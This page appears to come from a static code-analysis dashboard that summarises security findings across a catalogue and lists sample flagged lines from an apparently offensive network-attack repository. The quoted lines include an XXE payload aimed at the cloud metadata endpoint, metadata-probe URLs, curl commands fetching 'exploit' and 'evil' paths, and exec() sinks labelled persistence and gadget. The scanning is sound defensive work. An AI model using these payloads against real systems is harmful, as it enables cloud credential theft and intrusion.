Code analysis
static source read inferred
Static code-analysis findings — hidden prompt content in shipped skill files, committed secrets, dynamic-exec sinks, and suspicious call-home endpoints — across the analyzed catalogue. Heuristic, pure, no code executed; every row deep-links to its source. Click a kind to filter.
51311 analyzed
7406 re-analysis due
996 not analyzable
0 not yet analyzed
4850 source gone
not analyzable
796 too large 200 no source
Running analyzer v33. The scanner changelog explains what each version detects and when it changed.
- hidden prompt 369
- committed secret 6298
- dynamic exec 12011
- obfuscation 3650
- suspicious endpoint 12542
- credential in log 718
- over-broad oauth scope 2556
- suspicious skill script 197
- bundled IDE extension 50
- skill file 190167
- HIGH dynamic exec braydos-h/NetAttackAi __import__ sink
env = dict(**{k: v for k, v in __import__("os").environ.items()}, PYTHONPATH=str(Path.cwd())) - MEDIUM suspicious endpoint braydos-h/NetAttackAi 169.254.169.254 (cloud metadata)
_validate_query("http://169.254.169.254/latest/meta-data/") - MEDIUM suspicious endpoint braydos-h/NetAttackAi 1.2.3.4
assert "1.2.3.4" in extract_ips_from_command("curl http://1.2.3.4/exploit") - MEDIUM suspicious endpoint braydos-h/NetAttackAi 1.2.3.4
cmd = "curl http://1.2.3.4/x" - MEDIUM suspicious endpoint braydos-h/NetAttackAi 169.254.169.254 (cloud metadata)
"http://169.254.169.254/latest/meta-data/", - MEDIUM suspicious endpoint braydos-h/NetAttackAi 169.254.169.254 (cloud metadata)
res = run_dorks("http://169.254.169.254/", "ghtest") - HIGH dynamic exec braydos-h/NetAttackAi eval()/exec()
exec(compile(script, "<persistence>", "exec"), ns) - HIGH dynamic exec braydos-h/NetAttackAi __import__ sink
assert cap["kwargs"]["start_new_session"] == (__import__("os").name != "nt") - MEDIUM suspicious endpoint braydos-h/NetAttackAi 93.184.216.34
text = _text(await mcp.call_tool("run_exploit_terminal", {"command": "curl -k https://93.184.216.34/"})) - MEDIUM suspicious endpoint braydos-h/NetAttackAi 8.8.8.8
passed, detail = executor({"type": "http_request", "url": "http://8.8.8.8/", "expect_status": 200}) - HIGH dynamic exec braydos-h/NetAttackAi eval()/exec()
exec(compile(ast.Module([node], type_ignores=[]), "<gadget>", "exec"), ns) - MEDIUM suspicious endpoint braydos-h/NetAttackAi 8.8.8.8
cmd = "curl http://8.8.8.8/evil && nmap -sV 127.0.0.1" - MEDIUM suspicious endpoint braydos-h/NetAttackAi 169.254.169.254 (cloud metadata)
"ssrf_http": '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>', - MEDIUM suspicious endpoint braydos-h/NetAttackAi 169.254.169.254 (cloud metadata)
{"name": "AWS IMDSv1 metadata", "url": "http://169.254.169.254/latest/meta-data/", "indicator": "ami-id"}, - MEDIUM suspicious endpoint braydos-h/NetAttackAi 169.254.169.254 (cloud metadata)
"http://169.254.169.254/latest/meta-data/",